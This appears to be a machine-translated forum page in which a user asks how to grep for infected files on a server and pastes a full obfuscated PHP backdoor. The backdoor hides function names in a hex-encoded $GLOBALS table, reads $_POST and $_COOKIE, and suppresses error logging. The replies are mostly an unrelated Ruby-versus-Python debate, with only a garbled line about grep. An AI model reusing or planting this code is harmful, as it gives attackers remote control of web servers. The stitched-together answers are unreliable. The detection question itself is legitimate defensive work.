How to write a grep rule?

Question

SSH

Guys, please tell me how to find these grep files?
I thought you can search by the number of $GLOBALS in the file? But how to write an expression?

<?php $GLOBALS['g96e7c'] = "\x69\x56\x34\x70\x7e\x64\x71\x78\x48\x67\x3d\x46\x5b\x36\x53\x7c\x35\x7a\x25\x3f\x52\x29\x4c\x6c\x76\x3e\x32\x21\x66\x3a\x38\x22\x24\x3b\x55\x44\x51\x74\x28\x5a\x79\x5e\x41\x6e\x26\xa\x40\x2c\x33\x2d\x4b\x31\x62\x6a\x72\x45\x60\x23\x50\x4d\x54\x6f\x59\x49\x27\x77\x57\x73\x20\x4a\x39\x4e\x2b\x5f\x6d\x43\x2e\x65\xd\x5d\x37\x7b\x6b\x68\x2f\x4f\x3c\x63\x58\x47\x30\x42\x61\x75\x5c\x7d\x2a\x9";
$GLOBALS[$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][26].$GLOBALS['g96e7c'][16].$GLOBALS['g96e7c'][70]] = $GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][83].$GLOBALS['g96e7c'][54];
$GLOBALS[$GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][51].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][51]] = $GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][5];
$GLOBALS[$GLOBALS['g96e7c'][9].$GLOBALS['g96e7c'][70].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][16].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][90]] = $GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][37].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][23].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][43];
$GLOBALS[$GLOBALS['g96e7c'][24].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][26]] = $GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][43].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][37];
$GLOBALS[$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][90].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][16]] = $GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][23].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][17].$GLOBALS['g96e7c'][77];
$GLOBALS[$GLOBALS['g96e7c'][43].$GLOBALS['g96e7c'][51].$GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][80].$GLOBALS['g96e7c'][13].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][30].$GLOBALS['g96e7c'][70].$GLOBALS['g96e7c'][70]] = $GLOBALS['g96e7c'][3].$GLOBALS['g96e7c'][83].$GLOBALS['g96e7c'][3].$GLOBALS['g96e7c'][24].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][43];
$GLOBALS[$GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][48].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][48].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][16]] = $GLOBALS['g96e7c'][93].$GLOBALS['g96e7c'][43].$GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][23].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][17].$GLOBALS['g96e7c'][77];
$GLOBALS[$GLOBALS['g96e7c'][83].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][80].$GLOBALS['g96e7c'][48].$GLOBALS['g96e7c'][48].$GLOBALS['g96e7c'][70].$GLOBALS['g96e7c'][2]] = $GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][13].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][5].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][5].$GLOBALS['g96e7c'][77];
$GLOBALS[$GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][5].$GLOBALS['g96e7c'][51].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][30].$GLOBALS['g96e7c'][16]] = $GLOBALS['g96e7c'][67].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][37].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][37].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][74].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][23].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][74].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][37];
$GLOBALS[$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][70]] = $GLOBALS['g96e7c'][9].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][90].$GLOBALS['g96e7c'][48].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][30].$GLOBALS['g96e7c'][30].$GLOBALS['g96e7c'][92];
$GLOBALS[$GLOBALS['g96e7c'][17].$GLOBALS['g96e7c'][5].$GLOBALS['g96e7c'][5].$GLOBALS['g96e7c'][16].$GLOBALS['g96e7c'][51].$GLOBALS['g96e7c'][13]] = $GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][51].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][13].$GLOBALS['g96e7c'][28];
$GLOBALS[$GLOBALS['g96e7c'][43].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][16].$GLOBALS['g96e7c'][90].$GLOBALS['g96e7c'][90].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][5]] = $_POST;
$GLOBALS[$GLOBALS['g96e7c'][83].$GLOBALS['g96e7c'][28].$GLOBALS['g96e7c'][80].$GLOBALS['g96e7c'][13].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][13].$GLOBALS['g96e7c'][13].$GLOBALS['g96e7c'][52]] = $_COOKIE;
@$GLOBALS[$GLOBALS['g96e7c'][24].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][26]]($GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][23].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][9], NULL);
@$GLOBALS[$GLOBALS['g96e7c'][24].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][26]]($GLOBALS['g96e7c'][23].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][9].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][54].$GLOBALS['g96e7c'][67], 0);
@$GLOBALS[$GLOBALS['g96e7c'][24].$GLOBALS['g96e7c'][2].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][26]]($GLOBALS['g96e7c'][74].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][7].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][7].$GLOBALS['g96e7c'][77].$GLOBALS['g96e7c'][87].$GLOBALS['g96e7c'][93].$GLOBALS['g96e7c'][37].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][61].$GLOBALS['g96e7c'][43].$GLOBALS['g96e7c'][73].$GLOBALS['g96e7c'][37].$GLOBALS['g96e7c'][0].$GLOBALS['g96e7c'][74].$GLOBALS['g96e7c'][77], 0);
@$GLOBALS[$GLOBALS['g96e7c'][52].$GLOBALS['g96e7c'][5].$GLOBALS['g96e7c'][51].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][92].$GLOBALS['g96e7c'][30].$GLOBALS['g96e7c'][16]](0);

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Answer 1

Find lines with the text GLOBALS:
Also, plus it counts the number of words found
. Googles in a minute.

Answer 2

"Better" depends on the answer to the question "What do you need?", "Easier" than envy on experience and personal qualities. On both PL it is possible to create everything.
Essentially: Languages ​​of comparable power. However, Python is more common and used in a wider range of tasks, Ruby, in turn, is more powerful in the field of web.
Ruby gravitates toward magic (things just work, no matter how, "configuration conventions"), Python gravitates toward rigor and predictability.
I personally prefer Ruby. Subjectively - more beautiful, more humane. In addition, Rails is written in Ruby)))
Python is no worse - just different.
In short: if there is no context, then whoever likes what ....

Answer 3

I faced the same choice about 6 years ago and chose Python. Didn't regret it. It is versatile enough to write on it not only sites. Ruby is unfortunately more of a RoR language than a general purpose language. It has very little software outside of RoR and its purpose is very narrow, although the language itself is cool. Python is used in a lot of places outside the web - from microcontrollers to complex scientific calculations.
Also, a little personal. I hate Django. This is one of the worst web frameworks that, by a strange coincidence, turned out to be in trend. He, imprisoned for newspaper sites and blogs, with a severe syndrome of bicycle building and Not Invented Here, is molded wherever he is and, especially, where he is not. And it looks ridiculous (especially the ORM is poor in it in comparison with the same SQLAlchemy). There are many better examples for many applications (Flask, Pyramid). If you undertake to make a web application, and not a business card site / blog (which is better to do in general on php and Wordpress), take a closer look at them.
UPD: In general, there is a feeling that now it is best to learn JS, although it is bad for almost everything that is in it. :) Go, Rust are interesting, but still too immature. Here also C#/.NET with their open source movements are starting to look good. Well, there is always Java for lovers of vintage and maximum cross-platform (with swear words). All in all, this is a difficult time. :)

Answer 4

Based on the question "Ruby on Rail or Python?" you can't just take it and compare it. These are different concepts.
Here it is necessary to write then: "Ruby on Rail or Django?" Ruby or Python?
1. "Ruby on Rail or Django?" - the result and the process is the same, just different languages. Of these, I like RoR more - it has a larger community and more batteries, and they are easier to screw on and store information. Programming is a pleasure. Django is less popular and hence there is less of everything connected with it. RoR loses out to Django in terms of performance and resource usage. Somehow I remember seeing an interesting comparison: "Django is Linux, and RoR is Mac OS", a very revealing comparison.
2. Ruby or Python - definitely python. The language is richer, more features. Ruby got out only due to the Rails framework, pure ruby ​​is almost never used anywhere.
UPD: I wanted to add one BIG gem to Python, which is that it splits into two branches 2x and 3x. The development of the language itself continues in the third branch, and all the libraries remain in the second :( If this does not kill him, then he will greatly undermine his health. Now a huge army of python programmers are leaving for Go and later for Rust.

Answer 5

It's easier to go to work as a nurse)
These languages ​​are almost identical, that rails and django are great for the web, but I can't say what else ruby ​​is good for unfortunately.
Almost anything can be written in python.
Websites, desktop, mobile applications, network programming.

Answer 6

python is ugly

Answer 7

About Mobile Apps and Ruby - RubyMotion

Answer 8

I'll add Vladimir. Depends on the audience: RoR is very popular in the American market, but now, however, NodeJs is eating away at it.

Answer 9

Cake learn!

Answer 10

Bad advice given.
It must be based on the area in which you want to apply it.
All advice without this clarification is nonsense and guesswork.

Answer 11

In an interview with Yandex developers, 80% of all respondents said that they love Python and program on it. Classic c++ and c-sharp. Ruby, java script, even rock is also used.
Responsible enough developers of the Internet company. Just lighting up their instruments.
So Python as a language is universal, flexible, powerful. But... tasks are different
+ on Python you can write scripts for three-de-editors and scientific visualizer programs, this increases its extension even more.

Answer 12

Python is simpler and more productive.
Both languages ​​are imperative and object oriented and are not hard to learn.
Choose what you like best.